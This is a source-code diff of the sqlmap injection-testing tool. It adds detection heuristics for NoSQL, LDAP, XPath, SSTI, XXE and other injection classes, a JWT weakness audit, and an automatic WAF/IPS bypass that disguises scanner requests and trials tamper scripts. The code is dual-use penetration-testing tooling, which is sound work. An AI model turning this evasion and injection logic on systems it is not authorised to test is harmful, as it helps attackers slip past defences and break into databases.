-        infoMsg += "not be injectable"
+        infoMsg += "not be SQL injectable"
         logger.warning(infoMsg)
 
     kb.heuristicMode = True
@@ -1136,6 +1230,14 @@ def heuristicCheckSqlInjection(place, parameter):
         if conf.beep:
             beep()
 
+    def _search(regex):
+        # Note: on a rare (e.g. huge) response the regex engine itself can fail, and losing one
+        # advisory heuristic beats losing the whole run (e.g. #5994 and #6105)
+        try:
+            return re.search(regex, page or "")
+        except (SystemError, RuntimeError) as ex:
+            logger.debug("skipping heuristic check because of a regex engine failure ('%s')" % getSafeExString(ex))
+
     try:
         for match in re.finditer(FI_ERROR_REGEX, page or ""):
             if randStr1.lower() in match.group(0).lower():
@@ -1147,13 +1249,117 @@ def heuristicCheckSqlInjection(place, parameter):
 
                 break
     except (SystemError, RuntimeError) as ex:
-        logger.debug("Skipping FI heuristic due to regex failure: %s", getSafeExString(ex))
+        logger.debug("skipping heuristic check because of a regex engine failure ('%s')" % getSafeExString(ex))
+
+    if not conf.nosql and _search(NOSQL_ERROR_REGEX):
+        infoMsg = "heuristic (NoSQL) test shows that %sparameter '%s' might be vulnerable to NoSQL injection attacks (rerun with switch '--nosql')" % ("%s " % paramType if paramType != parameter else "", parameter)
+        logger.info(infoMsg)
+
+        if conf.beep:
+            beep()
+
+    if not conf.graphql and _search(GRAPHQL_ERROR_REGEX):
+        infoMsg = "heuristic (GraphQL) test shows that %sparameter '%s' appears to be a GraphQL endpoint (rerun with switch '--graphql')" % ("%s " % paramType if paramType != parameter else "", parameter)
+        logger.info(infoMsg)
+
+        if conf.beep:
+            beep()
+
+    if not conf.ldap and _search(LDAP_ERROR_REGEX):
+        infoMsg = "heuristic (LDAP) test shows that %sparameter '%s' might be vulnerable to LDAP injection (rerun with switch '--ldap')" % ("%s " % paramType if paramType != parameter else "", parameter)
+        logger.info(infoMsg)
+
+        if conf.beep:
+            beep()
+
+    if not conf.xpath and _search(XPATH_ERROR_REGEX):
+        infoMsg = "heuristic (XPath) test shows that %sparameter '%s' might be vulnerable to XPath injection (rerun with switch '--xpath')" % ("%s " % paramType if paramType != parameter else "", parameter)
+        logger.info(infoMsg)
+
+        if conf.beep:
+            beep()
+
+    if not conf.ssti and _search(SSTI_ERROR_REGEX):
+        infoMsg = "heuristic (SSTI) test shows that %sparameter '%s' might be vulnerable to server-side template injection (rerun with switch '--ssti')" % ("%s " % paramType if paramType != parameter else "", parameter)
+        logger.info(infoMsg)
+
+        if conf.beep:
+            beep()
+
+    if not conf.hql and _search(HQL_ERROR_REGEX):
+        infoMsg = "heuristic (HQL) test shows that %sparameter '%s' might be vulnerable to HQL/JPQL (Hibernate ORM) injection (rerun with switch '--hql')" % ("%s " % paramType if paramType != parameter else "", parameter)
+        logger.info(infoMsg)
+
+        if conf.beep:
+            beep()
+
+    if not conf.xslt and _search(XSLT_ERROR_REGEX):
+        infoMsg = "heuristic (XSLT) test shows that %sparameter '%s' might be vulnerable to XSLT injection (rerun with switch '--xslt')" % ("%s " % paramType if paramType != parameter else "", parameter)
+        logger.info(infoMsg)
+        if conf.beep:
+            beep()
+
+    if not conf.sparql and _search(SPARQL_ERROR_REGEX):
+        infoMsg = "heuristic (SPARQL) test shows that %sparameter '%s' might be vulnerable to SPARQL injection (rerun with switch '--sparql')" % ("%s " % paramType if paramType != parameter else "", parameter)
+        logger.info(infoMsg)
+
+        if conf.beep:
+            beep()
+
+    if not conf.odata and _search(ODATA_ERROR_REGEX):
+        infoMsg = "heuristic (OData) test shows that %sparameter '%s' might be vulnerable to OData $filter injection (rerun with switch '--odata')" % ("%s " % paramType if paramType != parameter else "", parameter)
+        logger.info(infoMsg)
+
+        if conf.beep:
+            beep()
+
+    if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and _search(XXE_ERROR_REGEX):
+        infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')"
+        logger.info(infoMsg)
+
+        if conf.beep:
+            beep()
 
     kb.disableHtmlDecoding = False
     kb.heuristicMode = False
 
     return kb.heuristicTest
 
+def checkJWT():
+    """
+    Passive, always-on heuristic: surface any JSON Web Token the request carries (cookie, header or
+    parameter) together with its offline weaknesses (alg:none, guessable HMAC secret, unsafe key
+    headers, missing expiry), hinting at '--jwt' for active confirmation and injection.
+    """
+
+    if kb.get("jwtChecked") or conf.jwt:
+        return
+
+    kb.jwtChecked = True
+
+    from lib.utils.jwt import auditJWT
+    from lib.utils.jwt import findJWTs
+    from lib.core.settings import JWT_COMMON_SECRETS
+
+    haystacks = list((conf.parameters or {}).values())
+    haystacks += [value for _, value in (conf.httpHeaders or [])]
+
+    seen = set()
+    for haystack in haystacks:
+        for token in findJWTs(haystack):
+            if token in seen:
+                continue
+            seen.add(token)
+
+            infoMsg = "heuristic (JWT) test shows that the request carries a JSON Web Token (rerun with switch '--jwt')"
+            logger.info(infoMsg)
+
+            for _, severity, summary, __ in auditJWT(token, secrets=JWT_COMMON_SECRETS):
+                logger.info("JWT weakness (%s): %s" % (severity, summary))
+
+            if conf.beep:
+                beep()
+
 def checkDynParam(place, parameter, value):
     """
     This function checks if the URL parameter is dynamic. If it is
@@ -1209,7 +1415,9 @@ def checkDynamicContent(firstPage, secondPage):
             seqMatcher.set_seq1(firstPage)
             seqMatcher.set_seq2(secondPage)
             ratio = seqMatcher.quick_ratio()
-        except MemoryError:
+        except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
+            # difflib can fail on pathological input or, rarely, with interpreter-level
+            # errors under heavy threading; degrade to "undetermined" instead of crashing
             ratio = None
 
     if ratio is None:
@@ -1224,6 +1432,27 @@ def checkDynamicContent(firstPage, secondPage):
             count += 1
 
             if count > conf.retries:
+                # Last resort before the (lossy) '--text-only' fallback: if the page is byte-unstable
+                # but STRUCTURALLY stable - an identical, non-empty tag/class/id skeleton across
+                # requests - base the comparison on that value-free structure instead. Dynamic text
+                # (e.g. per-render result rows) then no longer masks an injection whose signal is
+                # structural (the HTML counterpart of the structure-aware JSON comparison). Content
+                # with no usable structure (empty skeleton, e.g. random/binary bodies) falls through
+                # to '--text-only' as before.
+                skeleton = extractStructuralTokens(firstPage)
+                if skeleton and skeleton == extractStructuralTokens(secondPage):
+                    kb.pageStructurallyStable = True
+
+                    if kb.nullConnection:
+                        debugMsg = "turning off NULL connection support because of structural page comparison"
+                        logger.debug(debugMsg)
+                        kb.nullConnection = None
+
+                    infoMsg = "target URL content is not byte-stable but structurally stable; sqlmap "
+                    infoMsg += "will base the page comparison on the page structure"
+                    logger.info(infoMsg)
+                    return
+
                 warnMsg = "target URL content appears to be too dynamic. "
                 warnMsg += "Switching to '--text-only' "
                 logger.warning(warnMsg)
@@ -1238,7 +1467,7 @@ def checkDynamicContent(firstPage, secondPage):
             kb.heavilyDynamic = True
 
             secondPage, _, _ = Request.queryPage(content=True)
-            findDynamicContent(firstPage, secondPage)
+            findDynamicContent(firstPage, secondPage, merge=True)
 
 def checkStability():
     """
@@ -1351,6 +1580,10 @@ def checkWaf():
             warnMsg = "previous heuristics detected that the target "
             warnMsg += "is protected by some kind of WAF/IPS"
             logger.critical(warnMsg)
+            if hashDBRetrieve(HASHDB_KEYS.CHECK_WAF_BYPASS, True):    # re-apply a previously accepted automatic bypass
+                from lib.utils.wafbypass import neutralizeFingerprint
+                kb.wafBypass = True
+                neutralizeFingerprint()
         return _
 
     if not kb.originalPage:
@@ -1393,6 +1626,7 @@ def checkWaf():
 
     hashDBWrite(HASHDB_KEYS.CHECK_WAF_RESULT, retVal, True)
 
+
     if retVal:
         if not kb.identifiedWafs:
             warnMsg = "heuristics detected that the target "
@@ -1406,9 +1640,19 @@ def checkWaf():
         if not choice:
             raise SqlmapUserQuitException
         else:
-            if not conf.tamper:
+            if not conf.tamper and not kb.tamperFunctions:
-                warnMsg = "please consider usage of tamper scripts (option '--tamper')"
+                message = "do you want sqlmap to try to automatically bypass the WAF/IPS during "
-                singleTimeWarnMessage(warnMsg)
+                message += "the run (e.g. by using a non-scanner User-Agent and tamper script(s))? [Y/n] "
+                kb.wafBypass = readInput(message, default='Y', boolean=True)
+                hashDBWrite(HASHDB_KEYS.CHECK_WAF_BYPASS, kb.wafBypass, True)
+                if kb.wafBypass:
+                    # apply it up-front so the whole run (detection included) avoids the scanner
+                    # fingerprint, instead of getting blocked first and only then retrying
+                    from lib.utils.wafbypass import neutralizeFingerprint
+                    neutralizeFingerprint()
+                    logger.info("using a random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS")
+                else:
+                    singleTimeWarnMessage("please consider manual usage of tamper scripts (option '--tamper')")
 
     return retVal
 
@@ -1436,30 +1680,79 @@ def checkNullConnection():
         pushValue(kb.pageCompress)
         kb.pageCompress = False
 
+        # A method is accepted only if the length it reports tracks the real GET response. The
+        # original page length (len(kb.originalPage)) is the reference; a method whose length is
+        # grossly off (e.g. HEAD returning 'Content-Length: 0', HEAD served from a different code
+        # path, or sneaked-in compression) would otherwise make every page look identical and
+        # silently break detection. The band is coarse on purpose (byte-vs-character size and
+        # moderate page dynamism are expected); a false reject just forgoes the optimization
+        def _plausibleLength(length):
+            reference = len(kb.originalPage or "")
+            if not reference:
+                return True
+            return NULL_CONNECTION_LENGTH_TOLERANCE_LOW * reference <= length <= NULL_CONNECTION_LENGTH_TOLERANCE_HIGH * reference
+
         try:
             page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD, raise404=False)
 
             if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
+                try:
+                    length = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0])
+                except ValueError:
+                    length = None
+
+                if length is not None and _plausibleLength(length):
                     kb.nullConnection = NULLCONNECTION.HEAD
 
                     infoMsg = "NULL connection is supported with HEAD method ('Content-Length')"
                     logger.info(infoMsg)
-            else:
+                elif length is not None:
+                    debugMsg = "HEAD method reports an implausible 'Content-Length' (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or ""))
+                    logger.debug(debugMsg)
+
+            if kb.nullConnection is None:
                 page, headers, _ = Request.getPage(auxHeaders={HTTP_HEADER.RANGE: "bytes=-1"})
 
                 if page and len(page) == 1 and HTTP_HEADER.CONTENT_RANGE in (headers or {}):
+                    try:
+                        length = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:])
+                    except ValueError:
+                        length = None
+
+                    if length is not None and _plausibleLength(length):
                         kb.nullConnection = NULLCONNECTION.RANGE
 
                         infoMsg = "NULL connection is supported with GET method ('Range')"
                         logger.info(infoMsg)
-                else:
+                    elif length is not None:
+                        debugMsg = "'Range' method reports an implausible total length (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or ""))
+                        logger.debug(debugMsg)
+
+            if kb.nullConnection is None:
                 _, headers, _ = Request.getPage(skipRead=True)
 
                 if HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
+                    try:
+                        length = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0])
+                    except ValueError:
+                        length = len(kb.originalPage or "")
+
+                    if not _plausibleLength(length):
+                        debugMsg = "'skip-read' method reports an implausible 'Content-Length' (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or ""))
+                        logger.debug(debugMsg)
+                    # Unlike HEAD/Range, 'skip-read' leaves the body unread and must close the
+                    # connection (an unread body cannot be reused), paying a fresh TCP/TLS handshake
+                    # per request. That only outweighs the avoided body transfer for large responses;
+                    # for small ones it is a net slowdown, so it is gated by the response size here
+                    elif length >= NULL_CONNECTION_SKIP_READ_MIN_LENGTH:
                         kb.nullConnection = NULLCONNECTION.SKIP_READ
 
                         infoMsg = "NULL connection is supported with 'skip-read' method"
                         logger.info(infoMsg)
+                    else:
+                        debugMsg = "'skip-read' NULL connection method is available but skipped because the "
+                        debugMsg += "response (%d B) is too small for it to outweigh the per-request reconnect cost" % length
+                        logger.debug(debugMsg)
 
         except SqlmapConnectionException:
             pass

lib/controller/controller.py

@@ -16,6 +16,7 @@ from lib.controller.action import action
 from lib.controller.checks import checkConnection
 from lib.controller.checks import checkDynParam
 from lib.controller.checks import checkInternet
+from lib.controller.checks import checkJWT
 from lib.controller.checks import checkNullConnection
 from lib.controller.checks import checkSqlInjection
 from lib.controller.checks import checkStability
@@ -41,6 +42,7 @@ from lib.core.common import readInput
 from lib.core.common import removePostHintPrefix
 from lib.core.common import safeCSValue
 from lib.core.common import showHttpErrorCodes
+from lib.core.common import singleTimeWarnMessage
 from lib.core.common import urldecode
 from lib.core.common import urlencode
 from lib.core.compat import xrange
@@ -68,13 +70,16 @@ from lib.core.exception import SqlmapValueException
 from lib.core.settings import ASP_NET_CONTROL_REGEX
 from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
+from lib.core.settings import NONSQL_TECHNIQUES
 from lib.core.settings import EMPTY_FORM_FIELDS_REGEX
 from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX
+from lib.core.settings import HASHDB_STALE_DAYS
 from lib.core.settings import HOST_ALIASES
 from lib.core.settings import IGNORE_PARAMETERS
 from lib.core.settings import LOW_TEXT_PERCENT
 from lib.core.settings import REFERER_ALIASES
 from lib.core.settings import USER_AGENT_ALIASES
+from lib.core.settings import WAF_BYPASS_MAX_TRIALS
 from lib.core.target import initTargetEnv
 from lib.core.target import setupTargetEnv
 from lib.utils.hash import crackHashFile
@@ -167,6 +172,57 @@ def _formatInjection(inj):
 
     return data
 
+def _autoWafBypass(place, parameter, value):
+    """
+    Automatic WAF/IPS bypass (offered interactively once a WAF/IPS is detected, cached in
+    kb.wafBypass). The request fingerprint has already been neutralized up-front (non-scanner
+    User-Agent, see checkWaf), so here the empirically-ranked candidate tamper scripts are trialled
+    and the first that RESTORES a confirmed injection is adopted. Re-running checkSqlInjection()
+    through a candidate is itself the validation - it succeeds only if the resulting payload both
+    passes the WAF and stays valid SQL, so junk/incompatible candidates are rejected automatically.
+    """
+
+    from lib.utils.wafbypass import candidateTampers, loadTamper
+
+    retVal = None
+
+    savedTamper = kb.tamperFunctions
+    savedTechnique = conf.technique
+    conf.technique = [PAYLOAD.TECHNIQUE.BOOLEAN]    # bound each trial to a quick boolean re-check
+
+    candidates = candidateTampers(identifiedWafs=kb.identifiedWafs)
+
+    try:
+        for count, name in enumerate(candidates):
+            if count >= WAF_BYPASS_MAX_TRIALS:
+                break
+
+            function = loadTamper(name)
+            if function is None:
+                continue
+
+            kb.tamperFunctions = [function]
+            logger.info("trying to bypass the WAF/IPS with tamper script '%s'" % name)
+
+            injection = checkSqlInjection(place, parameter, value)
+            if getattr(injection, "place", None) is not None and NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
+                logger.info("bypassed the WAF/IPS by using tamper script '%s' (with a non-scanner User-Agent)" % name)
+                logger.info("the same result can be reproduced manually with switch '--random-agent' and tamper script '%s'" % name)
+                retVal = injection
+                return retVal
+
+            if kb.droppingRequests and count >= 2:
+                logger.warning("target keeps dropping requests; giving up on the WAF/IPS bypass")
+                break
+    finally:
+        conf.technique = savedTechnique
+        if retVal is None:      # nothing worked - leave tampering untouched
+            kb.tamperFunctions = savedTamper
+            # honest bail: say it could not be bypassed and what to try manually
+            logger.warning("unable to automatically bypass the WAF/IPS; it might be using behavioral or rate-based detection (consider a manual '--tamper' selection, '--delay', or '--proxy' rotation)")
+
+    return retVal
+
 def _showInjections():
     if conf.wizard and kb.wizardMode:
         kb.wizardMode = False
@@ -181,9 +237,29 @@ def _showInjections():
         conf.dumper.string("", {"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, content_type=CONTENT_TYPE.TARGET)
         conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES)
     else:
+        # --report-json: capture the same TARGET/TECHNIQUES structures the API emits, without
+        # printing them (the human-readable injection points are rendered just below)
+        if conf.reportJson:
+            conf.dumper._reportData({"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, CONTENT_TYPE.TARGET)
+            conf.dumper._reportData(kb.injections, CONTENT_TYPE.TECHNIQUES)
+
         data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n")
         conf.dumper.string(header, data)
 
+    # when results were resumed (no test requests this run), nudge if the session file is stale -
+    # this is the common "why is it showing old/unexpected results?" confusion
+    if kb.testQueryCount == 0 and not conf.freshQueries:
+        try:
+            days = int((time.time() - os.path.getmtime(conf.hashDBFile)) / (24 * 3600))
+        except (OSError, IOError, TypeError):
+            days = 0
+
+        if days >= HASHDB_STALE_DAYS:
+            warnMsg = "results above were resumed from a session file last updated %d days ago, " % days
+            warnMsg += "so they may be stale. Rerun with '--flush-session' to retest "
+            warnMsg += "or '--fresh-queries' to ignore cached query results"
+            logger.warning(warnMsg)
+
     if conf.tamper:
         warnMsg = "changes made by tampering scripts are not "
         warnMsg += "included in shown payload content(s)"
@@ -300,6 +376,11 @@ def start():
     for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
         targetCount += 1
 
+        # --report-json: give each target its own taskid in the shared collector, so a multi-target
+        # run (e.g. '-m' bulk file) doesn't have later targets overwrite earlier ones (see _reportData)
+        if conf.reportJson:
+            kb.reportTaskId = targetCount
+
         try:
             if conf.checkInternet:
                 infoMsg = "checking for Internet connection"
@@ -431,13 +512,21 @@ def start():
                     infoMsg = "testing URL '%s'" % targetUrl
                     logger.info(infoMsg)
 
+            if conf.graphql and PLACE.GET not in conf.parameters:
+                # graphqlScan() is self-contained and operates on the GraphQL
+                # document, not on HTTP parameters. A dummy GET parameter keeps
+                # _setRequestParams() from appending the URI injection marker ('*')
+                # to a bare endpoint URL (which would break detection under
+                # '--batch'); it is discarded by graphqlScan() on entry.
+                conf.parameters[PLACE.GET] = "x"
+
             setupTargetEnv()
 
-            if not checkConnection(suppressOutput=conf.forms):
+            if not any((conf.graphql,)) and not checkConnection(suppressOutput=conf.forms):
                 continue
 
             if conf.rParam and kb.originalPage:
-                kb.randomPool = dict([_ for _ in kb.randomPool.items() if isinstance(_[1], list)])
+                kb.randomPool = dict(_ for _ in kb.randomPool.items() if isinstance(_[1], list))
 
                 for match in re.finditer(r"(?si)<select[^>]+\bname\s*=\s*[\"']([^\"']+)(.+?)</select>", kb.originalPage):
                     name, _ = match.groups()
@@ -447,13 +536,78 @@ def start():
 
             checkWaf()
 
+            checkJWT()
+
+            if conf.mineParams and not any(conf.get(_) for _ in NONSQL_TECHNIQUES):
+                from lib.utils.paraminer import mineParameters
+                mineParameters()
+
+            if any(conf.get(_) for _ in NONSQL_TECHNIQUES) and (conf.reportJson or conf.resultsFile):
+                singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (%s) findings; these are reported on the console only" % '/'.join("--%s" % _ for _ in NONSQL_TECHNIQUES))
+
+            if conf.graphql:
+                from lib.techniques.graphql.inject import graphqlScan
+                graphqlScan()
+                continue
+
+            if conf.nosql:
+                from lib.techniques.nosql.inject import nosqlScan
+                nosqlScan()
+                continue
+
+            if conf.ldap:
+                from lib.techniques.ldap.inject import ldapScan
+                ldapScan()
+                continue
+
+            if conf.xpath:
+                from lib.techniques.xpath.inject import xpathScan
+                xpathScan()
+                continue
+
+            if conf.ssti:
+                from lib.techniques.ssti.inject import sstiScan
+                sstiScan()
+                continue
+
+            if conf.xslt:
+                from lib.techniques.xslt.inject import xsltScan
+                xsltScan()
+                continue
+
+            if conf.xxe:
+                from lib.techniques.xxe.inject import xxeScan
+                xxeScan()
+                continue
+
+            if conf.hql:
+                from lib.techniques.hql.inject import hqlScan
+                hqlScan()
+                continue
+
+            if conf.sparql:
+                from lib.techniques.sparql.inject import sparqlScan
+                sparqlScan()
+                continue
+
+            if conf.odata:
+                from lib.techniques.odata.inject import odataScan
+                odataScan()
+                continue
+
+            if conf.jwt:
+                from lib.techniques.jwt.inject import jwtScan
+                jwtScan()
+                continue
+
             if conf.nullConnection:
                 checkNullConnection()
 
             if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):
-                if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique:
+                if not any((conf.string, conf.notString, conf.regexp)) and any(_ in conf.technique for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.UNION)):
-                    # NOTE: this is not needed anymore, leaving only to display
+                    # NOTE: besides the not-stable warning, this marks dynamic content for removal, which
-                    # a warning message to the user in case the page is not stable
+                    # UNION column-count detection relies on too (it compares pages) - so it must run when
+                    # UNION is tested even if BOOLEAN is excluded (e.g. '--technique=U' on a dynamic page)
                     checkStability()
 
                 # Do a little prioritization reorder of a testable parameter list
@@ -605,6 +759,14 @@ def start():
                                 logger.info(infoMsg)
 
                                 injection = checkSqlInjection(place, parameter, value)
+
+                                # WAF/IPS bypass accepted: the parameter looks injectable (heuristics) but
+                                # the standard payloads were blocked -> try to auto-bypass it (request
+                                # fingerprint neutralization and/or a tamper script)
+                                if getattr(injection, "place", None) is None and kb.wafBypass and check == HEURISTIC_TEST.POSITIVE \
+                                   and not conf.tamper and not kb.tamperFunctions:
+                                    injection = _autoWafBypass(place, parameter, value) or injection
+
                                 proceed = not kb.endDetection
                                 injectable = False
 
@@ -704,6 +866,10 @@ def start():
                         errMsg += "does not match exclusively True responses."
 
                     if not conf.tamper:
+                        if kb.identifiedWafs:
+                            errMsg += " As a WAF/IPS ('%s') was identified during the run, " % ", ".join(kb.identifiedWafs)
+                            errMsg += "you are strongly advised to retry with option '--tamper' (e.g. '--tamper=space2comment')"
+                        else:
                             errMsg += " If you suspect that there is some kind of protection mechanism "
                             errMsg += "involved (e.g. WAF) maybe you could try to use "
                             errMsg += "option '--tamper' (e.g. '--tamper=space2comment')"
@@ -729,7 +895,12 @@ def start():
                     condition = True
 
                 if condition:
+                    try:
                         action()
+                    finally:
+                        if conf.proof:
+                            from lib.utils.prove import proveExploitation
+                            proveExploitation()
 
         except KeyboardInterrupt:
             if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1):

lib/controller/handler.py

@@ -10,9 +10,12 @@ from lib.core.common import getSafeExString
 from lib.core.common import singleTimeWarnMessage
 from lib.core.data import conf
 from lib.core.data import kb
+from lib.core.data import logger
 from lib.core.dicts import DBMS_DICT
 from lib.core.enums import DBMS
+from lib.core.dicts import DBWIRE_MODULES
 from lib.core.exception import SqlmapConnectionException
+from lib.utils.dbwire import Connector as DbwireConnector
 from lib.core.settings import ACCESS_ALIASES
 from lib.core.settings import ALTIBASE_ALIASES
 from lib.core.settings import CACHE_ALIASES
@@ -25,6 +28,7 @@ from lib.core.settings import EXTREMEDB_ALIASES
 from lib.core.settings import FIREBIRD_ALIASES
 from lib.core.settings import FRONTBASE_ALIASES
 from lib.core.settings import H2_ALIASES
+from lib.core.settings import HANA_ALIASES
 from lib.core.settings import HSQLDB_ALIASES
 from lib.core.settings import INFORMIX_ALIASES
 from lib.core.settings import MAXDB_ALIASES
@@ -57,6 +61,7 @@ from plugins.dbms.extremedb import ExtremeDBMap
 from plugins.dbms.firebird import FirebirdMap
 from plugins.dbms.frontbase import FrontBaseMap
 from plugins.dbms.h2 import H2Map
+from plugins.dbms.hana import HANAMap
 from plugins.dbms.hsqldb import HSQLDBMap
 from plugins.dbms.informix import InformixMap
 from plugins.dbms.maxdb import MaxDBMap
@@ -82,6 +87,15 @@ def setHandler():
     management system.
     """
 
+    if conf.esperanto:
+        # force the DBMS-agnostic engine: skip per-DBMS fingerprinting entirely and
+        # let the boolean-oracle 'esperanto' handler drive enumeration.
+        from extra.esperanto import buildHandler
+        conf.dbmsHandler = buildHandler()
+        conf.dbmsHandler._dbms = "Esperanto"
+        logger.info("using the DBMS-agnostic 'Esperanto' engine (fingerprinting skipped)")
+        return
+
     items = [
         (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, "plugins.dbms.mysql.connector"),
         (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, "plugins.dbms.oracle.connector"),
@@ -113,6 +127,7 @@ def setHandler():
         (DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, "plugins.dbms.virtuoso.connector"),
         (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES, SnowflakeMap, "plugins.dbms.snowflake.connector"),
         (DBMS.SPANNER, SPANNER_ALIASES, SpannerMap, "plugins.dbms.spanner.connector"),
+        (DBMS.HANA, HANA_ALIASES, HANAMap, "plugins.dbms.hana.connector"),
     ]
 
     _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
@@ -155,7 +170,12 @@ def setHandler():
                 try:
                     conf.dbmsConnector.connect()
                 except NameError:
-                    if exception:
+                    # neither a native driver nor SQLAlchemy is available: fall back to our dependency-free
+                    # pure-python 'dbwire' client if it covers this DBMS (so '-d' works out of the box)
+                    if dbms in DBWIRE_MODULES:
+                        conf.dbmsConnector = DbwireConnector(DBWIRE_MODULES[dbms])
+                        conf.dbmsConnector.connect()
+                    elif exception:
                         raise exception
                     else:
                         msg = "support for direct connection to '%s' is not available. " % dbms

lib/core/agent.py

@@ -51,6 +51,7 @@ from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import GENERIC_SQL_COMMENT
 from lib.core.settings import GENERIC_SQL_COMMENT_MARKER
 from lib.core.settings import INFERENCE_MARKER
+from lib.core.settings import MYSQL_UNION_VALUE_CAST
 from lib.core.settings import NULL
 from lib.core.settings import PAYLOAD_DELIMITER
 from lib.core.settings import REPLACEMENT_MARKER
@@ -69,9 +70,9 @@ class Agent(object):
         query = self.cleanupPayload(query)
 
         if query.upper().startswith("AND "):
-            query = re.sub(r"(?i)AND ", "SELECT ", query, 1)
+            query = re.sub(r"(?i)AND ", "SELECT ", query, count=1)
         elif query.upper().startswith(" UNION ALL "):
-            query = re.sub(r"(?i) UNION ALL ", "", query, 1)
+            query = re.sub(r"(?i) UNION ALL ", "", query, count=1)
         elif query.startswith("; "):
             query = query.replace("; ", "", 1)
 
@@ -112,7 +113,11 @@ class Agent(object):
         paramDict = conf.paramDict[place]
         origValue = getUnicode(paramDict[parameter])
         newValue = getUnicode(newValue) if newValue else newValue
+        try:
+            # Dirty patch for Python 3.14.7 re.sub() regression (e.g. https://github.com/sqlmapproject/sqlmap/issues/6128)
             base64Encoding = re.sub(r" \(.+", "", parameter) in conf.base64Parameter
+        except TypeError:
+            base64Encoding = False
 
         if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
             paramString = origValue
@@ -132,7 +137,7 @@ class Agent(object):
             origValue = origValue.split(kb.customInjectionMark)[0]
             if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
                 origValue = re.split(r"['\">]", origValue)[-1]
-            elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
+            elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE, POST_HINT.GRPC_WEB):
                 match = re.search(r"['\"]", origValue)
                 quote = match.group(0) if match else '"'
                 origValue = extractRegexResult(r"%s\s*:\s*(?P<result>\d+)\Z" % quote, origValue) or extractRegexResult(r"(?P<result>[^%s]*)\Z" % quote, origValue)
@@ -203,9 +208,9 @@ class Agent(object):
                 origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
 
         if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
-            _ = "%s%s" % (origValue, kb.customInjectionMark)
+            _ = "%s%s" % (_origValue if base64Encoding else origValue, kb.customInjectionMark)
 
-            if kb.postHint == POST_HINT.JSON and isNumber(origValue) and not isNumber(newValue) and '"%s"' % _ not in paramString:
+            if kb.postHint in (POST_HINT.JSON, POST_HINT.GRPC_WEB) and isNumber(origValue) and not isNumber(newValue) and '"%s"' % _ not in paramString:
                 newValue = '"%s"' % self.addPayloadDelimiters(newValue)
             elif kb.postHint == POST_HINT.JSON_LIKE and isNumber(origValue) and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None:
                 newValue = "'%s'" % self.addPayloadDelimiters(newValue)
@@ -220,7 +225,7 @@ class Agent(object):
         elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
             if base64Encoding:
                 retVal = paramString.replace("%s%s" % (_origValue, BOUNDED_INJECTION_MARKER), _newValue)
-                match = re.search(r"(%s)=([^&]*)" % re.sub(r" \(.+", "", parameter), retVal)
+                match = re.search(r"(%s)=([^&]*)" % re.escape(re.sub(r" \(.+", "", parameter)), retVal)
                 if match:
                     retVal = retVal.replace(match.group(0), "%s=%s" % (match.group(1), encodeBase64(match.group(2), binary=False, encoding=conf.encoding or UNICODE_ENCODING)))
             else:
@@ -507,10 +512,32 @@ class Agent(object):
         if field and Backend.getIdentifiedDbms():
             rootQuery = queries[Backend.getIdentifiedDbms()]
 
+            kb.binaryField = conf.binaryFields and field in conf.binaryFields
+            hexConvert = conf.hexConvert or kb.binaryField
+
+            # For BINARY fields, wrap the RAW column with the hex function rather than the text-casted one:
+            # text-casting binary first (e.g. CAST(<binary> AS NCHAR) on MySQL) NULLs non-text bytes, so HEX()
+            # would encode the NULL placeholder and silently lose the value (e.g. binary-stored password
+            # hashes). This is limited to binary fields: the blanket '--hex' keeps the cast-first path because
+            # raw-hexing a numeric/temporal column uses the DBMS's numeric HEX semantics (MySQL HEX(255)='FF'),
+            # which is NOT the hex of its string representation. Every DBMS hex function takes binary directly
+            # EXCEPT PostgreSQL's CONVERT_TO() (needs text), so PostgreSQL stays on the cast-first path too.
